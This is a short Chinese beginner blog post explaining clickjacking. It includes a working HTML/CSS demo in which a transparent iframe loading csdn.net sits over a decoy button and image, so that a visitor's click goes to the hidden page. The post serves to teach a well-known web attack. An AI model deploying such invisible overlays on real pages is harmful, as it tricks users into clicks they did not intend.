初识Web安全——HTML,CSS点击劫持
本文主要介绍HTML,CSS存在的一个简单漏洞。在前端语言中单纯的HTML,CSS,JS存在的漏洞是非常少的,只有当这些前端语言混合在一起使用时才会产生很多的漏洞,
下面就是介绍的HTML,CSS混合在一起使用时存在的一个漏洞。所谓点击劫持,简单的来讲就是你打开一个网页你当前点击的内容与你在网页上看都的内容不相符。
具体理解看下方代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>点击劫持</title>
<style>
iframe {
width: 1440px;
height: 900px;
position: absolute;
top: -0px;
left: -0px;
z-index: 2;
/* 隐藏网页透明度设置 */
opacity: 0;
filter: alpha(opacity=0);
}
button {
position: absolute;
top: 279px;
left: 1150px;
z-index: 1;
width: 90px;
height: 40px;
}
</style>
</head>
<body>
<!-- 此程序中这张图片覆盖了隐藏的这个网址 -->
<button>美女图片</button>
<img src="./a.png">
<iframe src="https://www.csdn.net/" scrolling="no"></iframe>
</body>
</html>
代码显示效果
点击这张图片后得到
这样点击这张图片就进入了一个新的宁外的一个界面,而没有进入用户希望进入的界面,即为点击劫持。
当然我们也可以将代码中的清晰度调高以便于我们更好的理解,调高后显示结果如下
以上就是所谓的点击劫持,当然还有更加复杂的,但基本原理都是这样。
第一次写博客,写的不是很好,如果有什么错误希望大家告诉我,我一定改正!